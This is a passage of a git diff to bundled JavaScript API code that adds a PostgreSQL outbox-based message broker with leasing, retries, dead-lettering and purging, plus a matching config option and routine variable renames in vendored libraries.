(created_at, event_id) > (${afterCreatedAt}::timestamptz, ${afterEventId}::uuid) + ORDER BY created_at, event_id + LIMIT ${FAN_OUT_BATCH} + ), inserted AS ( + INSERT INTO event_deliveries (event_id, consumer, next_attempt_at) + SELECT event_id, ${registration.consumer}::varchar, now() FROM batch + ON CONFLICT (event_id, consumer) DO NOTHING + ) + SELECT event_id, created_at::text AS created_at FROM batch ORDER BY created_at, event_id + `); + const last2 = batch[batch.length - 1]; + if (last2 !== void 0) { + afterCreatedAt = last2.created_at; + afterEventId = last2.event_id; + lastScannedAt = last2.created_at; + } + if (batch.length < FAN_OUT_BATCH) { + complete = true; + break; + } + } + const bound = complete ? "infinity" : lastScannedAt ?? state.materializedThrough; + await this.db.execute(sql` + UPDATE event_consumers + SET materialized_through = GREATEST( + materialized_through, + LEAST( + ${state.snapshotAt}::timestamptz - make_interval(secs => ${this.visibilityOverlapMs / 1e3}::double precision), + ${bound}::timestamptz + ) + ), + last_drained_at = now() + WHERE consumer = ${registration.consumer} + `); + } + /** + * Leases the oldest due delivery of any of `consumers`. `SKIP LOCKED` makes + * concurrent claimers pass over each other's rows instead of waiting; the + * lease (`locked_until`) then keeps the row claimed after this statement's + * row lock is gone, while the handler runs outside any transaction. + * `attempts` is bumped here, so a delivery that keeps crashing its drain + * still runs out of retries. + */ + async claimNext(consumers) { + const rows = await this.db.execute(sql` + WITH picked AS ( + SELECT event_id, consumer + FROM event_deliveries + WHERE consumer IN (${inList(consumers)}) + AND status = 'pending' + AND next_attempt_at <= now() + AND (locked_until IS NULL OR locked_until <= now()) + ORDER BY next_attempt_at, created_at + LIMIT 1 + FOR UPDATE SKIP LOCKED + ), claimed AS ( + UPDATE event_deliveries d + SET attempts = d.attempts + 1, + locked_until = now() + make_interval(secs => ${this.leaseMs / 1e3}::double precision), + updated_at = now() + FROM picked + WHERE d.event_id = picked.event_id AND d.consumer = picked.consumer + RETURNING d.event_id, d.consumer, d.attempts + ) + SELECT c.consumer, + c.attempts, + o.event_id, + o.event_type, + to_char(o.occurred_at AT TIME ZONE 'UTC', 'YYYY-MM-DD"T"HH24:MI:SS.MS"Z"') AS occurred_at, + o.trace_id, + o.correlation_id, + o.organization_id, + o.user_id, + o.payload + FROM claimed c + JOIN event_outbox o ON o.event_id = c.event_id + `); + return rows[0] ?? null; + } + async deliver(registration, claimed) { + let envelope; + try { + envelope = parseEvent({ + event_id: claimed.event_id, + event_type: claimed.event_type, + occurred_at: claimed.occurred_at, + trace: { + trace_id: claimed.trace_id, + correlation_id: claimed.correlation_id, + organization_id: claimed.organization_id, + user_id: claimed.user_id + }, + payload: claimed.payload + }); + } catch (error51) { + this.logger.error( + { consumer: claimed.consumer, event_id: claimed.event_id }, + "dead-lettering unparseable outbox event" + ); + return this.settle(claimed, "dead", `unparseable envelope: ${sanitizeError(error51)}`); + } + if (claimed.attempts - 1 > this.maxRetriesFor(registration)) { + return this.bury( + claimed, + envelope, + "retries exhausted: earlier attempts never reported back (the function timed out or crashed)" + ); + } + try { + if (await this.alreadyProcessed(claimed)) { + return await this.complete(claimed); + } + } catch (error51) { + return this.retryOrBury(registration, claimed, envelope, error51); + } + const context2 = { attempt: claimed.attempts - 1, trace: envelope.trace }; + try { + await registration.handler(envelope, context2); + } catch (error51) { + return this.retryOrBury(registration, claimed, envelope, error51); + } + return this.complete(claimed); + } + async alreadyProcessed(claimed) { + const [row] = await this.db.select({ eventId: schema_exports.processedEvents.eventId }).from(schema_exports.processedEvents).where( + and( + eq(schema_exports.processedEvents.eventId, claimed.event_id), + eq(schema_exports.processedEvents.consumer, claimed.consumer) + ) + ).limit(1); + return row !== void 0; + } + /** + * Records success: the `processed_events` row (idempotent — analytics + * writes its own inside its handler, in the same transaction as its side + * effect) and `done`, atomically. The update is fenced on `attempts`, so a + * drain whose lease expired mid-handler cannot overwrite the state written + * by whoever claimed the delivery next. + */ + async complete(claimed) { + try { + const updated = await this.db.transaction(async (tx) => { + await tx.insert(schema_exports.processedEvents).values({ eventId: claimed.event_id, consumer: claimed.consumer }).onConflictDoNothing(); + return tx.update(schema_exports.eventDeliveries).set({ status: "done", lockedUntil: null, lastError: null, updatedAt: sql`now()` }).where(this.fence(claimed)).returning({ eventId: schema_exports.eventDeliveries.eventId }); + }); + if (updated.length === 0) { + this.logger.warn( + { consumer: claimed.consumer, event_id: claimed.event_id }, + "delivery lease expired before completion; another drain owns it now" + ); + } + return "processed"; + } catch (error51) { + this.logger.error( + { err: error51, consumer: claimed.consumer, event_id: claimed.event_id }, + "failed to record a successful delivery" + ); + return "failed"; + } + } + async retryOrBury(registration, claimed, envelope, error51) { + const retry = claimed.attempts - 1; + const description = sanitizeError(error51); + if (retry < this.maxRetriesFor(registration)) { + return this.settle(claimed, "failed", description, this.backoffMs(retry)); + } + return this.bury(claimed, envelope, description); + } + maxRetriesFor(registration) { + return registration.maxRetries ?? this.defaultMaxRetries; + } + async bury(claimed, envelope, description) { + this.logger.error( + { consumer: claimed.consumer, event_id: claimed.event_id, attempts: claimed.attempts }, + "dead-lettering event after exhausting retries" + ); + const outcome = await this.settle(claimed, "dead", description); + try { + this.onDeadLetter?.({ + envelope, + consumer: claimed.consumer, + attempts: claimed.attempts, + error: description, + deadLetteredAt: (/* @__PURE__ */ new Date()).toISOString() + }); + } catch (callbackError) { + this.logger.error({ err: callbackError }, "onDeadLetter callback threw"); + } + return outcome; + } + /** Writes a failure: back to `pending` after `delayMs`, or `dead`. */ + async settle(claimed, outcome, description, delayMs = 0) { + try { + await this.db.update(schema_exports.eventDeliveries).set({ + status: outcome === "dead" ? "dead" : "pending", + lastError: description, + lockedUntil: null, + nextAttemptAt: sql`now() + make_interval(secs => ${delayMs / 1e3}::double precision)`, + updatedAt: sql`now()` + }).where(this.fence(claimed)); + } catch (error51) { + this.logger.error( + { err: error51, consumer: claimed.consumer, event_id: claimed.event_id }, + "failed to record a failed delivery" + ); + } + return outcome; + } + fence(claimed) { + return and( + eq(schema_exports.eventDeliveries.eventId, claimed.event_id), + eq(schema_exports.eventDeliveries.consumer, claimed.consumer), + eq(schema_exports.eventDeliveries.attempts, claimed.attempts), + eq(schema_exports.eventDeliveries.status, "pending") + ); + } +}; + // packages/messaging/src/rabbitmq-broker.ts var import_amqplib = __toESM(require_channel_api(), 1); // packages/messaging/src/envelope.ts -function createEvent(eventType, payload, trace2, occurredAt = (/* @__PURE__ */ new Date()).toISOString()) { +function createEvent(eventType, payload, trace2, occurredAt = (/* @__PURE__ */ new Date()).toISOString(), eventId = newUuid()) { eventPayloadSchema(eventType).parse(payload); return { - event_id: newUuid(), + event_id: eventId, event_type: eventType, occurred_at: occurredAt, trace: trace2, payload }; } +var DERIVED_EVENT_NAMESPACE = Buffer.from("6f1d0c3ae2b94d7f8a5c9e04b7d31a62", "hex"); function routingKeyFor(eventType) { return eventType; } @@ -114018,6 +114558,16 @@ function createBroker(options) { if (options.driver === "memory") { return new MemoryBroker({ defaultMaxRetries: options.maxRetries ?? 3 }); } + if (options.driver === "postgres") { + if (options.db === void 0) { + throw new Error("A database handle is required when MESSAGING_DRIVER=postgres"); + } + return new PostgresBroker({ + db: options.db, + logger: options.logger, + ...options.maxRetries === void 0 ? {} : { defaultMaxRetries: options.maxRetries } + }); + } if (options.url === void 0 || options.url === "") { throw new Error("RABBITMQ_URL is required when MESSAGING_DRIVER=rabbitmq"); } @@ -114109,7 +114659,7 @@ var redisEnvSchema = external_exports.object({ REDIS_URL: external_exports.string().min(1).default("redis://localhost:6379") }); var messagingEnvSchema = external_exports.object({ - MESSAGING_DRIVER: external_exports.enum(["memory", "rabbitmq"]).default("memory"), + MESSAGING_DRIVER: external_exports.enum(["memory", "rabbitmq", "postgres"]).default("memory"), RABBITMQ_URL: external_exports.string().min(1).optional(), MESSAGING_EXCHANGE: external_exports.string().min(1).default("atlas.events"), MESSAGING_MAX_RETRIES: external_exports.coerce.number().int().min(0).max(20).default(5) @@ -114371,14 +114921,14 @@ var CHECKS = [ } ]; function scoreResume(profile, rawText) { - const checks = CHECKS.map((check2) => ({ - id: check2.id, - label: check2.label, - passed: check2.passed(profile, rawText), - weight: check2.weight, - hint: check2.hint + const checks = CHECKS.map((check3) => ({ + id: check3.id, + label: check3.label, + passed: check3.passed(profile, rawText), + weight: check3.weight, + hint: check3.hint })); - const score = Math.round(100 * checks.reduce((sum, check2) => sum + (check2.passed ? check2.weight : 0), 0)); + const score = Math.round(100 * checks.reduce((sum, check3) => sum + (check3.passed ? check3.weight : 0), 0)); return { score, checks }; } @@ -114574,7 +115124,7 @@ function analyzeResumeForJob(profile, rawText, target) { } const keywordScore = jobKeywords.length === 0 ? null : Math.round(100 * matched.length / jobKeywords.length); const ats = scoreResume(profile, rawText); - const failedHints = ats.checks.filter((check2) => !check2.passed).sort((a, b2) => b2.weight - a.weight).slice(0, MAX_ATS_HINTS).map((check2) => check2.hint); + const failedHints = ats.checks.filter((check3) => !check3.passed).sort((a, b2) => b2.weight - a.weight).slice(0, MAX_ATS_HINTS).map((check3) => check3.hint); const allFindings = collectBulletFindings(profile); return { keyword_match: { score: keywordScore, matched, missing }, @@ -116739,12 +117289,12 @@ var __webpack_modules__ = { 4576: ( /***/ function(module2) { - var check2 = function(it) { + var check3 = function(it) { return it && it.Math === Math && it; }; module2.exports = // eslint-disable-next-line es/no-global-this -- safe - check2(typeof globalThis == "object" && globalThis) || check2(typeof window == "object" && window) || // eslint-disable-next-line no-restricted-globals -- safe - check2(typeof self == "object" && self) || check2(typeof global == "object" && global) || check2(typeof this == "object" && this) || // eslint-disable-next-line no-new-func -- fallback + check3(typeof globalThis == "object" && globalThis) || check3(typeof window == "object" && window) || // eslint-disable-next-line no-restricted-globals -- safe + check3(typeof self == "object" && self) || check3(typeof global == "object" && global) || check3(typeof this == "object" && this) || // eslint-disable-next-line no-new-func -- fallback /* @__PURE__ */ function() { return this; }() || Function("return this")(); @@ -146994,6 +147544,7 @@ var broker = createBroker({ url: env2.RABBITMQ_URL, exchange: env2.MESSAGING_EXCHANGE, maxRetries: env2.MESSAGING_MAX_RETRIES, + db, logger }); var storage = createStorage({ driver: env2.STORAGE_DRIVER, localRoot: env2.STORAGE_LOCAL_ROOT }); diff --git a/api/referrals/index.js b/api/referrals/index.js index 6830dde..93af2e6 100644 --- a/api/referrals/index.js +++ b/api/referrals/index.js @@ -1954,7 +1954,7 @@ var require_wait = __commonJS({ var WAIT_MS = 1e4; function wait(state, index2, expected, timeout, done) { const max = timeout === Infinity ? Infinity : Date.now() + timeout; - const check2 = () => { + const check3 = () => { const current = Atomics.load(state, index2); if (current === expected) { done(null, "ok"); @@ -1967,16 +1967,16 @@ var require_wait = __commonJS({ const remaining = max === Infinity ? WAIT_MS : Math.min(WAIT_MS, Math.max(1, max - Date.now())); const result = Atomics.waitAsync(state, index2, current, remaining); if (result.async) { - result.value.then(check2); + result.value.then(check3); } else { - setImmediate(check2); + setImmediate(check3); } }; - check2(); + check3(); } function waitDiff(state, index2, expected, timeout, done) { const max = timeout === Infinity ? Infinity : Date.now() + timeout; - const check2 = () => { + const check3 = () => { const current = Atomics.load(state, index2); if (current !== expected) { done(null, "ok"); @@ -1994,13 +1994,13 @@ var require_wait = __commonJS({ done(null, "ok"); return; } - check2(); + check3(); }); } else { - setImmediate(check2); + setImmediate(check3); } }; - check2(); + check3(); } module.exports = { wait, waitDiff }; } @@ -10447,8 +10447,8 @@ var require_heartbeat = __commonJS({ clearInterval(this.sendTimer); clearInterval(this.recvTimer); } - runHeartbeat(check2, fail) { - if (!check2()) + runHeartbeat(check3, fail) { + if (!check3()) fail(); } }; @@ -11047,14 +11047,14 @@ var require_connection = __commonJS({ recv(); } checkSend() { - var check2 = this.sentSinceLastCheck; + var check3 = this.sentSinceLastCheck; this.sentSinceLastCheck = false; - return check2; + return check3; } checkRecv() { - var check2 = this.recvSinceLastCheck; + var check3 = this.recvSinceLastCheck; this.recvSinceLastCheck = false; - return check2; + return check3; } sendBytes(bytes) { this.sentSinceLastCheck = true; @@ -17179,13 +17179,13 @@ var require_plugin = __commonJS({ done(); return; } - const check2 = () => { + const check3 = () => { debug("check", this.name, this.queue.length(), this.queue.running(), this._promise); if (this.queue.length() === 0 && this.queue.running() === 0) { if (this._promise) { const wrap = () => { debug("wrap"); - queueMicrotask(check2); + queueMicrotask(check3); }; this._promise.resolve(); this._promise.promise.then(wrap, wrap); @@ -17198,11 +17198,11 @@ var require_plugin = __commonJS({ this.queue.drain = () => { debug("drain", this.name); this.queue.drain = noop3; - queueMicrotask(check2); + queueMicrotask(check3); }; } }; - queueMicrotask(check2); + queueMicrotask(check3); this.queue.resume(); }; function noop3() { @@ -53983,9 +53983,14 @@ function createVercelHandler(app2) { }; } var SERVERLESS_PLACEHOLDER_PORT = "3000"; +var SERVERLESS_DEFAULT_MESSAGING_DRIVER = "postgres"; function withServerlessEnvDefaults(source = process.env) { if (!source.VERCEL) return source; - return { ...source, PORT: source.PORT ?? SERVERLESS_PLACEHOLDER_PORT }; + return { + ...source, + PORT: source.PORT ?? SERVERLESS_PLACEHOLDER_PORT, + MESSAGING_DRIVER: source.MESSAGING_DRIVER ?? SERVERLESS_DEFAULT_MESSAGING_DRIVER + }; } // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/lib/buffer_utils.js @@ -67513,8 +67518,8 @@ var ZodType = /* @__PURE__ */ $constructor("ZodType", (inst, def) => { reg.add(this, meta3); return this; }, - refine(check2, params) { - return this.check(refine(check2, params)); + refine(check3, params) { + return this.check(refine(check3, params)); }, superRefine(refinement, params) { return this.check(superRefine(refinement, params)); @@ -75080,6 +75085,33 @@ var pgTable = (name, columns, extraConfig) => { return pgTableWithSchema(name, columns, extraConfig, void 0); }; +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/checks.js +var CheckBuilder = class { + constructor(name, value) { + this.name = name; + this.value = value; + } + static [entityKind] = "PgCheckBuilder"; + brand; + /** @internal */ + build(table2) { + return new Check(table2, this); + } +}; +var Check = class { + constructor(table2, builder) { + this.table = table2; + this.name = builder.name; + this.value = builder.value; + } + static [entityKind] = "PgCheck"; + name; + value; +}; +function check2(name, value) { + return new CheckBuilder(name, value); +} + // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/indexes.js var IndexBuilderOn = class { constructor(unique, name) { @@ -79176,6 +79208,9 @@ __export(schema_exports, { contacts: () => contacts, contactsRelations: () => contactsRelations, employmentTypeEnum: () => employmentTypeEnum, + eventConsumers: () => eventConsumers, + eventDeliveries: () => eventDeliveries, + eventOutbox: () => eventOutbox, idempotencyKeys: () => idempotencyKeys, jobScores: () => jobScores, jobSourceEnum: () => jobSourceEnum, @@ -79630,6 +79665,60 @@ var processedEvents = pgTable( index("processed_events_processed_at_idx").on(table2.processedAt) ] ); +var eventOutbox = pgTable( + "event_outbox", + { + eventId: uuid3("event_id").primaryKey(), + eventType: varchar("event_type", { length: 120 }).notNull(), + occurredAt: timestamp("occurred_at", { withTimezone: true, mode: "string" }).notNull(), + // The envelope's trace context, flattened so "what happened to trace X" is + // a plain indexed query. No FKs: the outbox must never block a user or + // organization deletion. + traceId: varchar("trace_id", { length: 100 }).notNull(), + correlationId: varchar("correlation_id", { length: 100 }).notNull(), + organizationId: uuid3("organization_id"), + userId: uuid3("user_id"), + payload: jsonb("payload").$type().notNull(), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() + }, + (table2) => [ + // Drain cursor order (created_at, event_id), also the purge scan. + index("event_outbox_created_idx").on(table2.createdAt, table2.eventId), + // Fan-out for consumers that subscribe to a few of the event types. + index("event_outbox_type_created_idx").on(table2.eventType, table2.createdAt, table2.eventId), + index("event_outbox_trace_idx").on(table2.traceId) + ] +); +var eventConsumers = pgTable("event_consumers", { + consumer: varchar("consumer", { length: 160 }).primaryKey(), + eventTypes: text("event_types").array().notNull(), + materializedThrough: timestamp("materialized_through", { withTimezone: true, mode: "string" }).notNull().default(sql`'1970-01-01T00:00:00Z'`), + lastDrainedAt: timestamp("last_drained_at", { withTimezone: true, mode: "string" }), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() +}); +var eventDeliveries = pgTable( + "event_deliveries", + { + eventId: uuid3("event_id").notNull().references(() => eventOutbox.eventId, { onDelete: "cascade" }), + consumer: varchar("consumer", { length: 160 }).notNull(), + status: varchar("status", { length: 16 }).notNull().default("pending"), + attempts: integer2("attempts").notNull().default(0), + /** Sanitized and truncated by the broker — never a raw driver message. */ + lastError: text("last_error"), + nextAttemptAt: timestamp("next_attempt_at", { withTimezone: true, mode: "string" }).notNull().defaultNow(), + lockedUntil: timestamp("locked_until", { withTimezone: true, mode: "string" }), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow(), + updatedAt: timestamp("updated_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() + }, + (table2) => [ + primaryKey({ columns: [table2.eventId, table2.consumer] }), + // The claim query: due pending work for a consumer, oldest first. Partial, + // so the (large, append-only) done history never bloats the hot path. + index("event_deliveries_claim_idx").on(table2.consumer, table2.nextAttemptAt).where(sql`${table2.status} = 'pending'`), + index("event_deliveries_dead_idx").on(table2.consumer, table2.updatedAt).where(sql`${table2.status} = 'dead'`), + check2("event_deliveries_status_check", sql`${table2.status} IN ('pending', 'done', 'dead')`) + ] +); var connectorAccounts = pgTable( "connector_accounts", { @@ -79782,20 +79871,471 @@ var MemoryBroker = class { } }; +// packages/messaging/src/postgres-broker.ts +var EPOCH = "1970-01-01T00:00:00Z"; +var NIL_UUID = "00000000-0000-0000-0000-000000000000"; +var DEFAULT_MAX_RETRIES = 5; +var DEFAULT_LEASE_MS = 9e4; +var DEFAULT_VISIBILITY_OVERLAP_MS = 6e4; +var DEFAULT_RETENTION_MS = 7 * 24 * 60 * 60 * 1e3; +var DEFAULT_DRAIN_LIMIT = 100; +var DEFAULT_DRAIN_BUDGET_MS = 2e4; +var FAN_OUT_BATCH = 500; +var DEFAULT_PURGE_LIMIT = 500; +var MAX_ERROR_LENGTH = 300; +var MAX_CONSUMER_LENGTH = 160; +function inList(values2) { + return sql.join( + values2.map((value) => sql`${value}`), + sql`, ` + ); +} +function sanitizeError(error51) { + let described; + if (error51 instanceof Error) { + const inner = error51.message.startsWith("Failed query") && error51.cause instanceof Error ? error51.cause : error51; + described = `${inner.name}: ${inner.message}`; + } else { + described = String(error51); + } + return (described.split("\n")[0] ?? "").replace(/[a-z][a-z0-9+.-]*:\/\/[^\s/@]+@\S+/gi, "[url]").replace(/\beyJ[\w-]+\.[\w-]+\.[\w-]*/g, "[token]").replace(/[\w.+-]+@[\w-]+(?:\.[\w-]+)+/g, "[email]").replace(/[\u0000-\u001f\u007f]/g, " ").trim().slice(0, MAX_ERROR_LENGTH); +} +var PostgresBroker = class { + db; + logger; + defaultMaxRetries; + leaseMs; + visibilityOverlapMs; + retentionMs; + backoffMs; + onDeadLetter; + registrations = /* @__PURE__ */ new Map(); + closed = false; + constructor(options) { + this.db = options.db; + this.logger = options.logger; + this.defaultMaxRetries = options.defaultMaxRetries ?? DEFAULT_MAX_RETRIES; + this.leaseMs = options.leaseMs ?? DEFAULT_LEASE_MS; + this.visibilityOverlapMs = options.visibilityOverlapMs ?? DEFAULT_VISIBILITY_OVERLAP_MS; + this.retentionMs = options.retentionMs ?? DEFAULT_RETENTION_MS; + this.backoffMs = options.backoffMs ?? ((retry) => backoffDelayMs(retry)); + this.onDeadLetter = options.onDeadLetter; + } + async publish(envelope) { + this.assertOpen(); + const event = parseEvent(envelope); + await this.db.insert(schema_exports.eventOutbox).values({ + eventId: event.event_id, + eventType: event.event_type, + occurredAt: event.occurred_at, + traceId: event.trace.trace_id, + correlationId: event.trace.correlation_id, + organizationId: event.trace.organization_id, + userId: event.trace.user_id, + payload: event.payload + }).onConflictDoNothing({ target: schema_exports.eventOutbox.eventId }); + } + async subscribe(options) { + this.assertOpen(); + if (this.registrations.has(options.consumer)) { + throw new Error(`Consumer "${options.consumer}" is already subscribed`); + } + if (options.consumer.length === 0 || options.consumer.length > MAX_CONSUMER_LENGTH) { + throw new Error(`Consumer name must be 1-${MAX_CONSUMER_LENGTH} characters`); + } + if (options.eventTypes.length === 0) { + throw new Error(`Consumer "${options.consumer}" must subscribe to at least one event type`); + } + this.registrations.set(options.consumer, options); + return { + consumer: options.consumer, + stop: async () => { + this.registrations.delete(options.consumer); + } + }; + } + /** + * Delivers due events to the handlers registered on this instance: + * registers the consumers, fans new outbox rows out to them, then claims + * and runs deliveries one at a time until `limit` deliveries have been + * attempted, `budgetMs` has elapsed, or nothing is due. Safe to run + * concurrently from any number of instances — a delivery is claimed with + * `FOR UPDATE SKIP LOCKED` and leased, so exactly one drain runs it. + */ + async drain(options = {}) { + this.assertOpen(); + const limit = options.limit ?? DEFAULT_DRAIN_LIMIT; + const budgetMs = options.budgetMs ?? DEFAULT_DRAIN_BUDGET_MS; + const startedAt = performance.now(); + const outOfTime = () => performance.now() - startedAt >= budgetMs; + const result = { processed: 0, failed: 0, dead: 0, purged: 0 }; + const registrations = [...this.registrations.values()]; + if (registrations.length === 0) return result; + const states = await this.registerConsumers(registrations); + for (const registration of registrations) { + if (outOfTime()) break; + const state = states.get(registration.consumer); + if (state !== void 0) await this.fanOut(registration, state, outOfTime); + } + const byName = new Map( + registrations.map((registration) => [registration.consumer, registration]) + ); + const names = [...byName.keys()]; + while (result.processed + result.failed + result.dead < limit && !outOfTime()) { + const claimed = await this.claimNext(names); + if (claimed === null) break; + const registration = byName.get(claimed.consumer); + if (registration === void 0) break; + result[await this.deliver(registration, claimed)] += 1; + } + if (this.retentionMs > 0 && !outOfTime()) { + result.purged = await this.purge(new Date(Date.now() - this.retentionMs)); + } + return result; + } + /** + * Removes outbox events (and, by cascade, their delivery rows) created + * before `olderThan`, in batches. An event is kept while any delivery is + * still `pending` (including a retry that is backing off), while a + * registered consumer subscribed to its type has no delivery for it yet and + * has not been fanned out past it (so it could still be owed the event), + * and — unless `includeDead` — while any delivery is `dead`. Returns the + * number of events removed. + * + * A consumer that is registered but permanently gone keeps its types from + * being purged; remove its `event_consumers` row when decommissioning it. + */ + async purge(olderThan, options = {}) { + this.assertOpen(); + const cutoff = typeof olderThan === "string" ? olderThan : olderThan.toISOString(); + const rows = await this.db.execute(sql` + WITH doomed AS ( + SELECT o.event_id + FROM event_outbox o + WHERE o.created_at < ${cutoff}::timestamptz + AND NOT EXISTS ( + SELECT 1 FROM event_deliveries d + WHERE d.event_id = o.event_id + AND (d.status = 'pending' OR (d.status = 'dead' AND NOT ${options.includeDead === true}::boolean)) + ) + AND NOT EXISTS ( + SELECT 1 FROM event_consumers c + WHERE o.event_type = ANY (c.event_types) + AND c.materialized_through <= o.created_at + AND NOT EXISTS ( + SELECT 1 FROM event_deliveries d2 WHERE d2.event_id = o.event_id AND d2.consumer = c.consumer + ) + ) + ORDER BY o.created_at + LIMIT ${options.limit ?? DEFAULT_PURGE_LIMIT} + FOR UPDATE OF o SKIP LOCKED + ) + DELETE FROM event_outbox WHERE event_id IN (SELECT event_id FROM doomed) + RETURNING event_id + `); + return rows.length; + } + isHealthy() { + return !this.closed; + } + async close() { + this.closed = true; + this.registrations.clear(); + } + assertOpen() { + if (this.closed) throw new Error("PostgresBroker is closed"); + } + /** + * Upserts this instance's consumers. A consumer new to the table starts at + * the epoch (so it receives the whole retained history); one that has since + * subscribed to an event type it did not have before is rewound to the epoch + * too, which is harmless for the types it already had because delivery rows + * are unique per (event, consumer). + */ + async registerConsumers(registrations) { + const table2 = schema_exports.eventConsumers; + const rows = await this.db.insert(table2).values( + registrations.map((registration) => ({ + consumer: registration.consumer, + eventTypes: [...registration.eventTypes] + })) + ).onConflictDoUpdate({ + target: table2.consumer, + set: { + materializedThrough: sql`CASE WHEN ${table2.eventTypes} @> excluded.event_types THEN ${table2.materializedThrough} ELSE ${EPOCH}::timestamptz END`, + eventTypes: sql`excluded.event_types` + } + }).returning({ + consumer: table2.consumer, + materializedThrough: sql`${table2.materializedThrough}::text`, + snapshotAt: sql`now()::text` + }); + return new Map( + rows.map((row) => [ + row.consumer, + { materializedThrough: row.materializedThrough, snapshotAt: row.snapshotAt } + ]) + ); + } + /** + * Creates a `pending` delivery for `registration` for every outbox row of + * its types at or after `state.materializedThrough`, in (created_at, + * event_id) order and in bounded batches, then advances the cursor. + * + * Why the cursor trails the clock. `created_at` is the transaction start, a + * row only becomes visible when it commits, and the scan reads whatever is + * visible now. A row that commits after this scan therefore must not fall + * behind the cursor, or it would never be delivered. A row invisible to a + * statement that ran at time T committed after T, so its `created_at` is + * later than T minus the longest publish transaction. The cursor is held at + * T minus `visibilityOverlapMs` (and never past the last row scanned if the + * pass was cut short), and the overlap window is simply scanned again next + * time; `ON CONFLICT DO NOTHING` makes the repeat free of side effects. + */ + async fanOut(registration, state, outOfTime) { + let afterCreatedAt = state.materializedThrough; + let afterEventId = NIL_UUID; + let lastScannedAt = null; + let complete = false; + while (!outOfTime()) { + const batch = await this.db.execute(sql` + WITH batch AS ( + SELECT event_id, created_at + FROM event_outbox + WHERE event_type IN (${inList(registration.eventTypes)}) + AND (created_at, event_id) > (${afterCreatedAt}::timestamptz, ${afterEventId}::uuid) + ORDER BY created_at, event_id + LIMIT ${FAN_OUT_BATCH} + ), inserted AS ( + INSERT INTO event_deliveries (event_id, consumer, next_attempt_at) + SELECT event_id, ${registration.consumer}::varchar, now() FROM batch + ON CONFLICT (event_id, consumer) DO NOTHING + ) + SELECT event_id, created_at::text AS created_at FROM batch ORDER BY created_at, event_id + `); + const last = batch[batch.length - 1]; + if (last !== void 0) { + afterCreatedAt = last.created_at; + afterEventId = last.event_id; + lastScannedAt = last.created_at; + } + if (batch.length < FAN_OUT_BATCH) { + complete = true; + break; + } + } + const bound = complete ? "infinity" : lastScannedAt ?? state.materializedThrough; + await this.db.execute(sql` + UPDATE event_consumers + SET materialized_through = GREATEST( + materialized_through, + LEAST( + ${state.snapshotAt}::timestamptz - make_interval(secs => ${this.visibilityOverlapMs / 1e3}::double precision), + ${bound}::timestamptz + ) + ), + last_drained_at = now() + WHERE consumer = ${registration.consumer} + `); + } + /** + * Leases the oldest due delivery of any of `consumers`. `SKIP LOCKED` makes + * concurrent claimers pass over each other's rows instead of waiting; the + * lease (`locked_until`) then keeps the row claimed after this statement's + * row lock is gone, while the handler runs outside any transaction. + * `attempts` is bumped here, so a delivery that keeps crashing its drain + * still runs out of retries. + */ + async claimNext(consumers) { + const rows = await this.db.execute(sql` + WITH picked AS ( + SELECT event_id, consumer + FROM event_deliveries + WHERE consumer IN (${inList(consumers)}) + AND status = 'pending' + AND next_attempt_at <= now() + AND (locked_until IS NULL OR locked_until <= now()) + ORDER BY next_attempt_at, created_at + LIMIT 1 + FOR UPDATE SKIP LOCKED + ), claimed AS ( + UPDATE event_deliveries d + SET attempts = d.attempts + 1, + locked_until = now() + make_interval(secs => ${this.leaseMs / 1e3}::double precision), + updated_at = now() + FROM picked + WHERE d.event_id = picked.event_id AND d.consumer = picked.consumer + RETURNING d.event_id, d.consumer, d.attempts + ) + SELECT c.consumer, + c.attempts, + o.event_id, + o.event_type, + to_char(o.occurred_at AT TIME ZONE 'UTC', 'YYYY-MM-DD"T"HH24:MI:SS.MS"Z"') AS occurred_at, + o.trace_id, + o.correlation_id, + o.organization_id, + o.user_id, + o.payload + FROM claimed c + JOIN event_outbox o ON o.event_id = c.event_id + `); + return rows[0] ?? null; + } + async deliver(registration, claimed) { + let envelope; + try { + envelope = parseEvent({ + event_id: claimed.event_id, + event_type: claimed.event_type, + occurred_at: claimed.occurred_at, + trace: { + trace_id: claimed.trace_id, + correlation_id: claimed.correlation_id, + organization_id: claimed.organization_id, + user_id: claimed.user_id + }, + payload: claimed.payload + }); + } catch (error51) { + this.logger.error( + { consumer: claimed.consumer, event_id: claimed.event_id }, + "dead-lettering unparseable outbox event" + ); + return this.settle(claimed, "dead", `unparseable envelope: ${sanitizeError(error51)}`); + } + if (claimed.attempts - 1 > this.maxRetriesFor(registration)) { + return this.bury( + claimed, + envelope, + "retries exhausted: earlier attempts never reported back (the function timed out or crashed)" + ); + } + try { + if (await this.alreadyProcessed(claimed)) { + return await this.complete(claimed); + } + } catch (error51) { + return this.retryOrBury(registration, claimed, envelope, error51); + } + const context2 = { attempt: claimed.attempts - 1, trace: envelope.trace }; + try { + await registration.handler(envelope, context2); + } catch (error51) { + return this.retryOrBury(registration, claimed, envelope, error51); + } + return this.complete(claimed); + } + async alreadyProcessed(claimed) { + const [row] = await this.db.select({ eventId: schema_exports.processedEvents.eventId }).from(schema_exports.processedEvents).where( + and( + eq(schema_exports.processedEvents.eventId, claimed.event_id), + eq(schema_exports.processedEvents.consumer, claimed.consumer) + ) + ).limit(1); + return row !== void 0; + } + /** + * Records success: the `processed_events` row (idempotent — analytics + * writes its own inside its handler, in the same transaction as its side + * effect) and `done`, atomically. The update is fenced on `attempts`, so a + * drain whose lease expired mid-handler cannot overwrite the state written + * by whoever claimed the delivery next. + */ + async complete(claimed) { + try { + const updated = await this.db.transaction(async (tx) => { + await tx.insert(schema_exports.processedEvents).values({ eventId: claimed.event_id, consumer: claimed.consumer }).onConflictDoNothing(); + return tx.update(schema_exports.eventDeliveries).set({ status: "done", lockedUntil: null, lastError: null, updatedAt: sql`now()` }).where(this.fence(claimed)).returning({ eventId: schema_exports.eventDeliveries.eventId }); + }); + if (updated.length === 0) { + this.logger.warn( + { consumer: claimed.consumer, event_id: claimed.event_id }, + "delivery lease expired before completion; another drain owns it now" + ); + } + return 